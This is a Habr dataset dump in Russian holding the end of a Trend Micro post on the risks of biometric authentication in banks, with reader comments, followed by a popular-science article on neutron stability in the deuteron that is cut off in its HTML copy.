устройства, которое имеется только у пользователя, например, телефона или токена.</li> <li><b>Уникальности</b> — чего-то неотъемлемого, присущего пользователю и однозначно идентифицирующего личность, например, биометрических данных. </li> </ul><br/> Эти три элемента должны быть независимыми так, чтобы компрометация одного элемента не влияла на надёжность других. <br/> <br/> Применительно к банковской практике это означает, что проведение операций по биометрическим данным должно обязательно сопровождаться дополнительными проверками с помощью пароля, токена или PUSH/SMS-кодов. <br/> <br/> <b><h3>Использовать или нет?</h3> </b><br/> У биометрической аутентификации имеются большие перспективы, однако опасности, которые приходят в нашу жизнь вместе с ними, выглядят весьма реалистично. Разработчикам систем и законодательным органам стоит изучить результаты новейших исследований уязвимостей биометрических систем и оперативно доработать как решения по идентификации, так и нормативные акты, регулирующие их работу.<br/> <br/> Банкам необходимо принять во внимание ситуацию с deepfakes и другими способами обмана биометрических систем, используя сочетание традиционных способов идентификации пользователя с биометрическими: пароли, 2FA и usb-токены всё ещё могут принести пользу.<br/> С клиентами банков ситуация сложная. С одной стороны, биометрическая идентификация разрабатывалась для их удобства как попытка расширить возможности для получения банковских услуг в любое время с минимальными формальностями. С другой — в случае успешной атаки рискуют своими деньгами именно они, а регуляторы и разработчики биометрических систем ответственности за взломы не несут. <br/> <br/> В связи с этим, логичная рекомендация клиентам банков — не торопиться со сдачей биометрических данных, не обращать внимание на агрессивные призывы. Если же без биометрической идентификации никак не обойтись, то используйте её совместно с многофакторной аутентификацией, чтобы хотя бы частично снизить риски.</div>
Trend_Micro
null
null
<img src="https://habrastorage.org/webt/a_/fn/6_/a_fn6_sayjdtyg82evcjlnjkn78.jpeg" alt="image"><br> <br> В 2018 году в России вступил в действие <a href="https://rg.ru/2018/01/09/fz482-dok.html">закон о биометрической идентификации</a>. В банках идёт внедрение биометрических комплексов и сбор данных для размещения в Единой биометрической системе (ЕБС). Биометрическая идентификация даёт гражданам возможность получать банковские услуги дистанционно. Это избавляет их от очередей и технически позволяет «посетить банк» в любое время суток.<br> <br> Удобства дистанционной идентификации по фотографии или голосу по достоинству оценили не только клиенты банков, но и киберпреступники. Несмотря на стремление разработчиков сделать технологию безопасной, исследователи постоянно сообщают о появлении новых способов обмана таких систем.<br> <br> Так может, не стоит соглашаться на предложение приветливого операциониста пройти биометрическую идентификацию в отделении банка? Или всё-таки воспользоваться преимуществами новой технологии? Разбираемся в этом посте.<br>
В 2018 году в России вступил в действие закон о биометрической идентификации. В банках идёт внедрение биометрических комплексов и сбор данных для размещения в Единой биометрической системе (ЕБС). Биометрическая идентификация даёт гражданам возможность получать банковские услуги дистанционно. Это избавляет их от очередей и технически позволяет «посетить банк» в любое время суток. Удобства дистанционной идентификации по фотографии или голосу по достоинству оценили не только клиенты банков, но и киберпреступники. Несмотря на стремление разработчиков сделать технологию безопасной, исследователи постоянно сообщают о появлении новых способов обмана таких систем. Так может, не стоит соглашаться на предложение приветливого операциониста пройти биометрическую идентификацию в отделении банка? Или всё-таки воспользоваться преимуществами новой технологии? Разбираемся в этом посте.
article
1,569,850,737
{ "commentsCount": 17, "favoritesCount": 64, "readingCount": 22210, "score": 16, "votesCount": 16, "votesCountPlus": 16, "votesCountMinus": 0 }
[]
[ "trendmicro", "infosecurity", "biotech" ]
[ "develop", "popsci" ]
[ "trend micro", "кибербезопасность", "биометрическая идентификация", "банки" ]
6
null
null
{ "id": [ 20693223, 20693945, 20694417, 20694749, 20694853, 20695023, 20695063, 20695491, 20695785, 20696453, 20697101, 20697397, 20697513, 20697719, 20702783, 20899108, 20899180 ], "parent_id": [ null, null, null, 20694417, null, 20694749, null, 20695063, 20693945, 20693945, null, null, 20697101, 20697513, 20693223, 20693945, 20697513 ], "level": [ 0, 0, 0, 1, 0, 2, 0, 1, 1, 1, 0, 0, 1, 2, 1, 1, 2 ], "time_published": [ 1569862454, 1569873110, 1569882440, 1569901826, 1569906598, 1569910448, 1569911591, 1569916678, 1569919879, 1569925668, 1569931636, 1569934223, 1569935281, 1569937007, 1570019793, 1574087892, 1574088886 ], "score": [ 1, 3, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0 ], "votes": [ 1, 3, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Алгоритм вычисления этих точек отличается от системы к системе и является секретом разработчиков. </blockquote>Интересно, что вероятнее: эти точки рассчитывались с учётом возможных рисков, различных методов построения моделей и последних исследований или их случайно раскидывал обкуренный разработчик, чтобы побыстрее все докодить и пойти есть? Я даже не знаю…<br/>\r\n<br/>\r\nИмхо, одна из главных проблем в том, что в случае обычных методов авторизации и аутентификации базовая математика и немного мозга позволяет неплохо посчитать риски. В случае биометрии это гораздо сложнее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насколько я могу судить, использование биометрии для собственной аутентификации, в настоящее время, ничем не оправдано (спецслужбы — другое дело, но у них и цели и оборудование иные).<br/>\r\n<br/>\r\nМассовое использование биометрии приведет к установке (особенно на местах) оборудования и ПО низкого качества. Низкое качество оборудования вытечет в высокий уровень ошибок аутентификации, что поставит крест на удобстве пользователя.<br/>\r\nТак, на моем смартфоне безбожно тупит сканер отпечатков. Софт в банке, конечно, будет получше, но оборудование — не факт.<br/>\r\n<br/>\r\nБиометрия небезопасна изначально, т.к. по определению подвержена replay-атакам с использованием публично-доступных материалов (фоточки и видео в инстаграме, скрытая и открытая съемка пользователя, отпечатки на стаканах, ручках двери и прочих предметах). Всевозможные «liveness»-проверки (в особенности — пассивные) являются очевидными костылями.<br/>\r\n<br/>\r\nИсходно высокий уровень ошибок (на плохом оборудовании) неизбежно побудит поставщика услуги к примитивному загрублению алгоритмов проверки (дабы обеспечить хоть минимальный уровень удобства), но это только увеличит возможность false-positive аутентификаций.<br/>\r\nПовышать качество (лишние расходы), всяко, никто не будет, тем более что речь идет, всего-лишь, о потенциальных потерях пользователей, а не самого поставщика.<br/>\r\n<br/>\r\nЧто имеем в итоге?<br/>\r\n<ol>\r\n<li>Изначальная ненужность — нет никакой проблемы иметь при себе карточку</li>\r\n<li>Потенциальное неудобство для пользователя (которому придется проходить идентификацию день за днем)</li>\r\n<li>Уязвимость непредсказуемой величины. Беспрецендентное удобство для преступников (которым надо получить доступ лишь однажды, чтобы украсть ваши деньги)</li>\r\n<li>Биометрию, без сомнения, приравняют к PIN-у, с отказом от отвественности</li>\r\n</ol></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">всё гораздо серьёзнее, пожалуй. СНИЛСы уже объявили электронными, за ними будут права водительские, а в следующем году начнут в Москве и общегражданские паспорта на безбумажную технологию переводить, судя по сообщениям.<br/>\r\nВсё это без биометрии не реализуемо, как я понимаю — и будет у нас несколько веселых лет. Впрочем, возможным результатом будет, наконец, понимание, что без паспортов вообще жить вполне можно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>без паспортов вообще жить вполне можно</blockquote> расскажите как?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote> обмануть систему с их помощью «в лоб» нельзя: алгоритмы проверки на «живость» считают ложными результаты с полным совпадением дескрипторов. </blockquote><br/>\r\nА что мешает добавить рандомные шумы?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По британской модели, к примеру. Или перенятой у них американской. Некий уникальный ид сейчас, конечно, есть — но без заметного использования в повседневной жизни. Не собираюсь даже утверждать, что так сделать и будет всем щастя. Но — возможно вполне. Но — государство должно измениться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А собственноручная подпись — это биометрия?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я как-то провёл час в офисе одного банка при открытии счёта юрлица, т.к. служба безопасности не пропускала мои карточки — я не мог одинаково с их точки зрения расписаться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Соврал, это не replay-атака, а подделка «удостоверяющих данных» (aka credentials).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Полученный дескриптор (массив чисел) и представляет собой биометрическую модель, которая сохраняется в базе данных. Восстановить исходное фото по модели невозможно.</blockquote><br/>\r\nМожет кто-то подскажет работы, ссылки на доказательства, что исходное фото по дескриптору никак восстановить нельзя?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Так может, не стоит соглашаться на предложение приветливого операциониста пройти биометрическую идентификацию в отделении банка? Или всё-таки воспользоваться преимуществами новой технологии? Разбираемся в этом посте.</blockquote><br/>\r\nЧего тут разбираться? Конечно, не стоит соглашаться!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы вычисляли когда-нибудь хэш-код?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">простейшие да</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А вот интересно, почему не сделают так: допустим, существует какой-то государственный реестр мобильных устройств, пусть даже с добровольной регистрацией. А само мобильное устройство содержит неизменяемый секретный ключ с аппаратной защитой, который никогда программно не отдаёт, но может выдавать его открытый ключ и выполнять подпись. При регистрации в этот реестр включается открытый ключ. Те ж банки, скажем, по каким-то запросам могут его получить. А для авторизации требуются не просто биометрические данные, а подписанные этим ключом. Если данные на устройстве не хранятся, то даже его потеря не позволяет мгновенно получить доступ. А сами биометрические данные тогда и вовсе ничего не дадут.</p><br/>\r\n<p>Есть, конечно, риск перехвата всего сообщения через какой-то подставной Wi-Fi. Но можно рассматривать точную копию как подозрительный запрос с ответом на повторную авторизацию. В общем, от явных уязвимостей защита находится, а абсолютно надёжного ничего не бывает. Ну а если кто не хочет регистрировать, рискует на своё усмотрение.</p><br/>\r\n<p>Вот только, насколько знаю, в большинстве устройств ничего полностью подходящего под эти критерии нет. Интересно, почему ничего такого всё ещё не создали.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Но получается, нужен hash, для которого возможно приблизительное сравнение. Впрочем, от чего не существовать таким алгоритмам.</p></div>" ], "message_markdown": [ "> Алгоритм вычисления этих точек отличается от системы к системе и является секретом разработчиков.\nИнтересно, что вероятнее: эти точки рассчитывались с учётом возможных рисков, различных методов построения моделей и последних исследований или их случайно раскидывал обкуренный разработчик, чтобы побыстрее все докодить и пойти есть? Я даже не знаю...\nИмхо, одна из главных проблем в том, что в случае обычных методов авторизации и аутентификации базовая математика и немного мозга позволяет неплохо посчитать риски. В случае биометрии это гораздо сложнее.", "Насколько я могу судить, использование биометрии для собственной аутентификации, в настоящее время, ничем не оправдано (спецслужбы — другое дело, но у них и цели и оборудование иные).\nМассовое использование биометрии приведет к установке (особенно на местах) оборудования и ПО низкого качества. Низкое качество оборудования вытечет в высокий уровень ошибок аутентификации, что поставит крест на удобстве пользователя.\nТак, на моем смартфоне безбожно тупит сканер отпечатков. Софт в банке, конечно, будет получше, но оборудование — не факт.\nБиометрия небезопасна изначально, т.к. по определению подвержена replay-атакам с использованием публично-доступных материалов (фоточки и видео в инстаграме, скрытая и открытая съемка пользователя, отпечатки на стаканах, ручках двери и прочих предметах). Всевозможные «liveness»-проверки (в особенности — пассивные) являются очевидными костылями.\nИсходно высокий уровень ошибок (на плохом оборудовании) неизбежно побудит поставщика услуги к примитивному загрублению алгоритмов проверки (дабы обеспечить хоть минимальный уровень удобства), но это только увеличит возможность false-positive аутентификаций.\nПовышать качество (лишние расходы), всяко, никто не будет, тем более что речь идет, всего-лишь, о потенциальных потерях пользователей, а не самого поставщика.\nЧто имеем в итоге?\n 1. Изначальная ненужность — нет никакой проблемы иметь при себе карточку\n 2. Потенциальное неудобство для пользователя (которому придется проходить идентификацию день за днем)\n 3. Уязвимость непредсказуемой величины. Беспрецендентное удобство для преступников (которым надо получить доступ лишь однажды, чтобы украсть ваши деньги)\n 4. Биометрию, без сомнения, приравняют к PIN-у, с отказом от отвественности", "всё гораздо серьёзнее, пожалуй. СНИЛСы уже объявили электронными, за ними будут права водительские, а в следующем году начнут в Москве и общегражданские паспорта на безбумажную технологию переводить, судя по сообщениям.\nВсё это без биометрии не реализуемо, как я понимаю — и будет у нас несколько веселых лет. Впрочем, возможным результатом будет, наконец, понимание, что без паспортов вообще жить вполне можно.", "> без паспортов вообще жить вполне можно\nрасскажите как?", "> обмануть систему с их помощью «в лоб» нельзя: алгоритмы проверки на «живость» считают ложными результаты с полным совпадением дескрипторов.\nА что мешает добавить рандомные шумы?", "По британской модели, к примеру. Или перенятой у них американской. Некий уникальный ид сейчас, конечно, есть — но без заметного использования в повседневной жизни. Не собираюсь даже утверждать, что так сделать и будет всем щастя. Но — возможно вполне. Но — государство должно измениться.", "А собственноручная подпись — это биометрия?", "Я как-то провёл час в офисе одного банка при открытии счёта юрлица, т.к. служба безопасности не пропускала мои карточки — я не мог одинаково с их точки зрения расписаться.", "UFO just landed and posted this here", "Соврал, это не replay-атака, а подделка «удостоверяющих данных» (aka credentials).", "> Полученный дескриптор (массив чисел) и представляет собой биометрическую модель, которая сохраняется в базе данных. Восстановить исходное фото по модели невозможно.\nМожет кто-то подскажет работы, ссылки на доказательства, что исходное фото по дескриптору никак восстановить нельзя?", "> Так может, не стоит соглашаться на предложение приветливого операциониста пройти биометрическую идентификацию в отделении банка? Или всё-таки воспользоваться преимуществами новой технологии? Разбираемся в этом посте.\nЧего тут разбираться? Конечно, не стоит соглашаться!", "Вы вычисляли когда-нибудь хэш-код?", "простейшие да", "UFO just landed and posted this here", "А вот интересно, почему не сделают так: допустим, существует какой-то государственный реестр мобильных устройств, пусть даже с добровольной регистрацией. А само мобильное устройство содержит неизменяемый секретный ключ с аппаратной защитой, который никогда программно не отдаёт, но может выдавать его открытый ключ и выполнять подпись. При регистрации в этот реестр включается открытый ключ. Те ж банки, скажем, по каким-то запросам могут его получить. А для авторизации требуются не просто биометрические данные, а подписанные этим ключом. Если данные на устройстве не хранятся, то даже его потеря не позволяет мгновенно получить доступ. А сами биометрические данные тогда и вовсе ничего не дадут.\nЕсть, конечно, риск перехвата всего сообщения через какой-то подставной Wi-Fi. Но можно рассматривать точную копию как подозрительный запрос с ответом на повторную авторизацию. В общем, от явных уязвимостей защита находится, а абсолютно надёжного ничего не бывает. Ну а если кто не хочет регистрировать, рискует на своё усмотрение.\nВот только, насколько знаю, в большинстве устройств ничего полностью подходящего под эти критерии нет. Интересно, почему ничего такого всё ещё не создали.", "Но получается, нужен hash, для которого возможно приблизительное сравнение. Впрочем, от чего не существовать таким алгоритмам." ], "author": [ "pyrk2142", "Илья (semibiotic)", "Bedal", "vis_inet", "Юрий (Yuriy_krd)", "Bedal", "ggo", "igruh", "{}", "Илья (semibiotic)", "magistr7", "piton_nsk", "Сергей (UserSergeyB)", "magistr7", "{}", "Ilya81", "Ilya81" ], "children": [ [ 20702783 ], [ 20695785, 20696453, 20899108 ], [ 20694749 ], [ 20695023 ], [], [], [ 20695491 ], [], [], [], [ 20697513 ], [], [ 20697719, 20899180 ], [], [], [], [] ] }
405,227
ru
https://habr.com/ru/post/405227/
Стабильность нейтрона в атомном ядре
Факт, ставящий в тупик многих из тех, кто впервые изучает природу обычной материи – то, что в ядре любого атома тяжелее водорода содержатся как протоны, так и нейтроны, но при этом нейтроны распадаются (дезинтегрируются в другие частицы) в среднем за 15 минут! Как же могут ядра углерода, кислорода, азота, кремния быть настолько стабильными, если нейтроны, из которых они состоят, не могут выживать сами по себе? Ответ на этот вопрос оказывается очень простым после того, как вы поймёте, как работает энергия: это чистая бухгалтерия. Но понять энергию вовсе не просто. Для начала нужно прочесть статью о видах энергии. А до этого необходимо ознакомиться со статьёй об энергии, импульсе и массе. Эти концепции нужно представлять перед тем, как понять ответ на заданный вопрос. Если вы прочли статью об энергии взаимодействия, вы знаете, что атом водорода состоит из протона и электрона, которые, из-за отрицательной энергии связи, неспособны убежать друг от друга – они заперты внутри атома. Отрицательная энергия связи происходит из отрицательной энергии взаимодействия, частично сбалансированной положительной энергией движения электрона (и немного – протона). Энергия взаимодействия происходит из воздействия электрона на электрическое поле близ протона (и наоборот). В этой статье я объясню, почему нейтрон стабилен в следующем по простоте ядре атома: дейтроне, ядре «тяжёлого водорода» или «дейтерия». Дейтрон состоит из одного нейтрона и одного протона – в принципе просто, и не слишком отличается от атома водорода с одним электроном и одним протоном. Поняв, почему нейтрон стабилен в дейтроне, вы поймёте основной принцип, по которому нейтроны могут быть стабильны внутри всех стабильных ядер. Суть в следующем: энергия взаимодействия протонов и нейтронов отрицательная, и достаточно большая, поэтому в некоторых ядрах распад нейтрона привёл бы к росту энергии системы (состоящей остатков ядра после его распада и всех испущенных при распаде частиц), что нарушило бы закон сохранения энергии. Поскольку энергия должна сохраняться, распад невозможен. Не буду описывать взаимодействие нейтрона с протоном, поскольку за это отвечает сильное взаимодействие, гораздо более сложное, чем электрическое (и магнитное) взаимодействия между протоном и электроном, составляющими атом водорода. Частично эта сложность объясняется составным характером взаимодействия – это немного похоже на то, как электромагнитное взаимодействие может связывать два атома водорода в молекулу водорода, хотя оба атома электрически нейтральны. Но некоторые важные детали эта аналогия не охватывает. Ядерная физика – это отдельная тема. Рис. 1 К счастью, нам эти сложности не нужны. Нам нужно знать, что эти силы создают отрицательную энергию взаимодействия для системы из протона, нейтрона и различных сложных полей, позволяющих им влиять друг на друга. В результате получается стабильный дейтрон. Так же, как атом водорода не может внезапно распасться на электрон и протон, дейтрон не может внезапно распасться на нейтрон и протон. Это не означает, что дейтрон или атом водорода нельзя уничтожить. Можно «ионизировать» атом водорода (выбить электрон у протона), если добавить внешнюю энергию – в виде, допустим, достаточно энергичного фотона. Тот же метод можно использовать для разбивания дейтерия и выбивания нейтрона у протона. Но энергию для этого нужно получить вне системы; ни водород, ни дейтрон самостоятельно распадаться не будут. ## Нейтрон может распадаться Давайте вспомним необходимое (но не достаточное) условие для распада объекта – масса начального объекта должна превосходить сумму масс объектов, на которые он распадается. Откуда берётся это условие? Из закона сохранения энергии. Скоро мы увидим, как и почему (как обычно, под массой я понимаю «массу покоя»). Рис. 2 Проверим, что это условие выполняется для нейтрона, который может распадаться на протон, электрон и электронное антинейтрино. Распад показан на рис 2; нейтрон спонтанно превращается в три эти частицы. Нейтрон и протон на самом деле больше по размеру, чем электрон и антинейтрино – хотя рисунок всё равно сделан не в масштабе. Диаметр нейтрона или протона составляет примерно одну миллиардную триллионной доли метра (в 100 000 раз меньше атома), а про диаметр электрона или нейтрино известно, что он как минимум ещё в 1000 раз меньше этого. На рис. 3 изображена энергетическая бухгалтерия (см. рис. 1). До распада нейтрона энергия всей системы равна энергии массы (E = mc2) нейтрона. Масса нейтрона равна 0,939565... ГэВ/c2. Многоточие говорит о том, что это не точное значение, но пока нам не нужна большая точность. Значит, энергия массы нейтрона 0,939565... ГэВ/c2 После распада нейтрона какой будет энергия всей системы? Поскольку энергия сохраняется, а извне энергии не поступало, то энергия системы будет равна тому же самому — 0,939565... ГэВ! Но как она распределится? Во-первых, у нас не будет энергии взаимодействия. Это не очевидно, но очень важно. Когда протон, электрон и антинейтрино разлетаются, энергия их взаимодействия становится пренебрежимо малой. Во-вторых, у каждой из частиц есть энергия массы. Сколько её там? • Энергия массы протона – 0,938272... ГэВ. • Энергия массы электрона – 0,000511... ГэВ. • Энергией массы антинейтрино можно пренебречь, настолько она мала. И это хорошо, поскольку масса нейтрино нам пока неизвестно. Мы знаем, что она, по крайней мере, гораздо меньше, чем 0,000001 ГэВ. Итоговая масса-энергия получается равной (0,938272... + 0,000511... + 0,000000...) ГэВ = 0,938783... ГэВ Что меньше энергии массы нейтрона, с которой мы начали, на 0,000782... ГэВ. Пока что мы не видим, как она сохраняется. Энергия массы нейтрона не полностью превратилась в энергию массы протона, электрона и нейтрино. Излишки энергии на рис. 3 показаны жёлтым. Рис. 3 Разницу можно восполнить при помощи энергии движения. Она всегда положительна. Нам нужно только распределить лишние 0,000782... ГэВ между движениями частиц так, чтобы сохранялся импульс системы (поверьте мне, это возможно). Тогда энергия будет сохранена, поскольку энергия массы нейтрона превратилась в энергию массы и энергию движения протона, электрона и нейтрино. Я не указал точное количество энергии движения, отошедшее протону, электрону и нейтрино, поскольку в каждом из случаев распада нейтрона энергия будет распределяться по-разному, просто случайным образом (такова квантовая механика). Только общая энергия движения будет всегда одной и той же, 0,000782... ГэВ. ## Дейтрон стабилен Вернёмся к дейтрону. Общая энергия дейтрона, как и у атома водорода, состоит из положительной энергии массы двух его составляющих (протона и нейтрона), положительной энергии движения двух составляющих, и отрицательной энергии взаимодействия, с лихвой покрывающей энергию движения. Более того, как и для любой частицы или системы, масса дейтрона будет равной его общей энергии (точнее – общей энергии, которую вы измеряете, когда он не двигается относительно вас), делённой на с2, квадрат скорости света. Соответственно, если дейтрон относительно вас покоится, на основе его измеренной массы, равной 1,875612... ГэВ/с2, можно сказать, что его энергия равна Энергия массы дейтрона = 1,875612... ГэВ = • Энергия массы протона + энергия массы нейтрона, • Энергия движения протона + энергия движения нейтрона, • Энергия взаимодействия (отрицательная, и больше по модулю, чем энергия движения). < энергия массы протона + энергия массы нейтрона = 0,938272... ГэВ+ 0,939565... ГэВ = 1,877837... ГэВ Поэтому энергия связи дейтрона равна 1,875612... ГэВ – 1,877837... ГэВ = -0,002225... ГэВ Рис. 4 Отрицательная энергия связи означает, как и в случае с атомом водорода, что дейтрон не может просто развалиться на нейтрон и протон, как показано на рис. 4. Это нарушило бы сохранение энергии, утверждающее, что распадающаяся частица должна быть более массивной, чем частицы, на которые она распадается. Как показано на рис. 5, энергию никак не сохранишь. У нейтрона и протона больше энергии массы, чем у дейтрона, и нет никакого источника отрицательной энергии, способного погасить дефицит энергии, поскольку энергии взаимодействия между далеко разнесёнными протоном и нейтроном нет, а энергия движения отрицательной не бывает. Это значит, что процесс на рис. 4 произойти не может. Рис. 5 ## Нейтрон внутри дейтрона не может распаться Остался один шаг, и он, по сравнению с предыдущими, довольно простой. Вопрос в следующем: почему нейтрон не может распадаться внутри дейтрона? Допустим, он распался: что останется? Тогда у нас будет два протона, электрон и антинейтрино; см. рис. 6. Два протона отталкиваются – у них положительный электрический заряд, и электрическая сила расталкивает их. Сильное ядерное взаимодействие, пытающееся притянуть их вместе, не такое сильное, как у нейтрона с протоном, и суммарное действие двух сил будет отталкивающим. В результате это взаимодействие будет расталкивать протоны. А электрон и антинейтрино тем временем также покинут место действия. Рис. 6 Когда все четыре частицы будут далеко друг от друга (как грубо показано на рис. 6, но представьте, что они разлетелись ещё дальше), не будет никакой значительной энергии взаимодействия между ними. Энергия системы будет состоять только из суммы энергий масс частиц и энергий движения. Поскольку энергия движения всегда положительна, минимальная энергия, которую смогут иметь частицы, будет равной сумме их энергий масс. Но эта энергия больше, чем энергия массы дейтрона (рис. 7)! Даже энергия массы двух протонов, 1,876544... ГэВ уже больше энергии массы дейтрона. А дополнительные 0,000511 ГэВ только сыплют соль на рану. Поэтому нейтрон внутри дейтрона не может распасться; энергия взаимодействия, удерживающая дейтрон, тянет его массу вниз – достаточно низко для того, чтобы распад нейтрона внутри дейтрона нарушал сохранение энергии! Рис. 7 ## Другие атомные ядра И так происходит со всеми стабильными ядрами в природе. Но не надо думать, что всегда, когда вы комбинируете нейтроны и протоны, в результате получается стабильное ядро! Стабильные ядра крайне редки. Если вы возьмёте Z протонов и N нейтронов и попробуете сделать из них ядро, то для большей части вариантов Z и N у вас ничего не получится. Большинство таких ядер мгновенно распадутся, они вообще не сформируются. Грубо говоря, сила притяжения между Z протонами и N нейтронами сильнее всего тогда, когда Z примерно равно N. С другой стороны, протоны отталкиваются друг от друга из-за электромагнитного взаимодействия. Эта сила увеличивается при увеличении Z. Соревнование двух этих эффектов предполагает, что ядро скорее всего будет стабильным, когда Z немного меньше N; и чем больше Z и N, тем больше должна быть разница между Z и N. Это видно на рис. 8. Стабильны только ядра, отмеченные чёрным; они располагаются в том, что поэтически называют «долиной стабильности». А что за ядра, обозначенные цветом? Оказывается, что существует довольно много ядер, которые всё-таки распадаются, но могут жить довольно долго. Часто мы зовём такие объекты «нестабильными», а те, что живут достаточно долго – «метастабильными». Использование слов зависит от контекста. Нейтрон живёт 15 минут. Есть ядра, живущие несколько миллисекунд, дней, десятилетий, тысячелетий и даже миллиардов лет. Эти ядра мы называем радиоактивными; это опасные последствия случаев с участием радиации или оружия, и инструменты, используемые в детекторах дыма и для борьбы с раком, в числе прочего. Есть куча способов, которыми эти ядра могут распасться, но некоторые из них распадаются, превращая нейтрон в протон внутри ядра. Мы знаем об этом по увеличению заряда ядра и по тому, что из него вылетает электрон вместе с антинейтрино. Другие даже могут распадаться, превращая протон в нейтрон! Мы знаем об этом, потому что заряд ядра уменьшается, и из него вылетает позитрон (антиэлектрон). Подсчётами того, сколько сможет прожить определённое ядро и как оно распадётся, занимается очень сложная ядерная физика – здесь курс по ней я давать не буду (да я и не эксперт). Рис. 8 Достаточно сказать, что отрицательная энергия взаимодействия частиц, скомбинированная с сохранением энергии, может менять всю игру, делая невозможными определённые процессы, возможные в обычных условиях – и наоборот.
<div xmlns="http://www.w3.org/1999/xhtml">Факт, ставящий в тупик многих из тех, кто впервые изучает природу обычной материи – то, что в ядре любого атома тяжелее водорода содержатся как протоны, так и нейтроны, но при этом нейтроны распадаются (дезинтегрируются в другие частицы) в среднем за 15 минут! Как же могут ядра углерода, кислорода, азота, кремния быть настолько стабильными, если нейтроны, из которых они состоят, не могут выживать сами по себе?<br/> <br/> Ответ на этот вопрос оказывается очень простым после того, как вы поймёте, как работает энергия: это чистая бухгалтерия. Но понять энергию вовсе не просто. Для начала нужно прочесть <a href="https://geektimes.ru/post/290619/">статью о видах энергии</a>. А до этого необходимо ознакомиться со <a href="https://geektimes.ru/post/289863/">статьёй об энергии, импульсе и массе</a>. Эти концепции нужно представлять перед тем, как понять ответ на заданный вопрос.<br/> <br/> Если вы прочли статью об энергии взаимодействия, вы знаете, что атом водорода состоит из протона и электрона, которые, из-за отрицательной энергии связи, неспособны убежать друг от друга – они заперты внутри атома. Отрицательная энергия связи происходит из отрицательной энергии взаимодействия, частично сбалансированной положительной энергией движения электрона (и немного – протона). Энергия взаимодействия происходит из воздействия электрона на электрическое поле близ протона (и наоборот).<br/> <a name="habracut"></a><br/> В этой статье я объясню, почему нейтрон стабилен в следующем по простоте ядре атома: дейтроне, ядре «тяжёлого водорода» или «дейтерия». Дейтрон состоит из одного нейтрона и одного протона – в принципе просто, и не слишком отличается от атома водорода с одним электроном и одним протоном. Поняв, почему нейтрон стабилен в дейтроне, вы поймёте основной принцип, по которому нейтроны могут быть стабильны внутри всех стабильных ядер. Суть в следующем: энергия взаимодействия протонов и нейтронов отрицательная, и достаточно большая, поэтому в некоторых ядрах распад нейтрона привёл бы к росту энергии системы (состоящей остатков ядра после его распада и всех испущенных при распаде частиц), что нарушило бы закон сохранения энергии. Поскольку энергия должна сохраняться, распад невозможен.<br/> <br/> Не буду описывать взаимодействие нейтрона с протоном, поскольку за это отвечает сильное взаимодействие, гораздо более сложное, чем электрическое (и магнитное) взаимодействия между протоном и электроном, составляющими атом водорода. Частично эта сложность объясняется составным характером взаимодействия – это немного похоже на то, как электромагнитное взаимодействие может связывать два атома водорода в молекулу водорода, хотя оба атома электрически нейтральны. Но некоторые важные детали эта аналогия не охватывает. Ядерная физика – это отдельная тема.<br/> <br/> <a href="https://profmattstrassler.files.wordpress.com/2012/05/nvspmass.png"><img src="https://habrastorage.org/r/w1560/getpro/geektimes/post_images/794/6c8/032/7946c80323b7f9144473c233ec8e512e.png" data-src="https://habrastorage.org/getpro/geektimes/post_images/794/6c8/032/7946c80323b7f9144473c233ec8e512e.png"/></a><br/> <i>Рис. 1</i><br/> <br/> К счастью, нам эти сложности не нужны. Нам нужно знать, что эти силы создают отрицательную энергию взаимодействия для системы из протона, нейтрона и различных сложных полей, позволяющих им влиять друг на друга. В результате получается стабильный дейтрон. Так же, как атом водорода не может внезапно распасться на электрон и протон, дейтрон не может внезапно распасться на нейтрон и протон.<br/> <br/> Это не означает, что дейтрон или атом водорода нельзя уничтожить. Можно «ионизировать» атом водорода (выбить электрон у протона), если добавить внешнюю энергию – в виде, допустим, достаточно энергичного фотона. Тот же метод можно использовать для разбивания дейтерия и выбивания нейтрона у протона. Но энергию для этого нужно получить вне системы; ни водород, ни дейтрон самостоятельно распадаться не будут.<br/> <br/> <h2>Нейтрон может распадаться</h2><br/> Давайте вспомним необходимое (но не достаточное) условие для распада объекта – масса начального объекта должна превосходить сумму масс объектов, на которые он распадается. Откуда берётся это условие? Из закона сохранения энергии. Скоро мы увидим, как и почему (как обычно, под массой я понимаю «массу покоя»).<br/> <br/> <a href="https://profmattstrassler.files.wordpress.com/2012/05/ndecaytopenu.png"><img src="https://habrastorage.org/r/w1560/getpro/geektimes/post_images/081/a63/1d6/081a631d6f4f47fb0b33106ca0a2f309.png" data-src="https://habrastorage.org/getpro/geektimes/post_images/081/a63/1d6/081a631d6f4f47fb0b33106ca0a2f309.png"/></a><br/> <i>Рис. 2</i><br/> <br/> Проверим, что это условие выполняется для нейтрона, который может распадаться на протон, электрон и электронное антинейтрино. Распад показан на рис 2; нейтрон спонтанно превращается в три эти частицы. Нейтрон и протон на самом деле больше по размеру, чем электрон и антинейтрино – хотя рисунок всё равно сделан не в масштабе. Диаметр нейтрона или протона составляет примерно одну миллиардную триллионной доли метра (в 100 000 раз меньше атома), а про диаметр электрона или нейтрино известно, что он как минимум ещё в 1000 раз меньше этого.<br/> <br/> На рис. 3 изображена энергетическая бухгалтерия (см. рис. 1). До распада нейтрона энергия всей системы равна энергии массы (E = mc<sup>2</sup>) нейтрона. Масса нейтрона равна 0,939565… ГэВ/c<sup>2</sup>.<br/> <br/> Многоточие 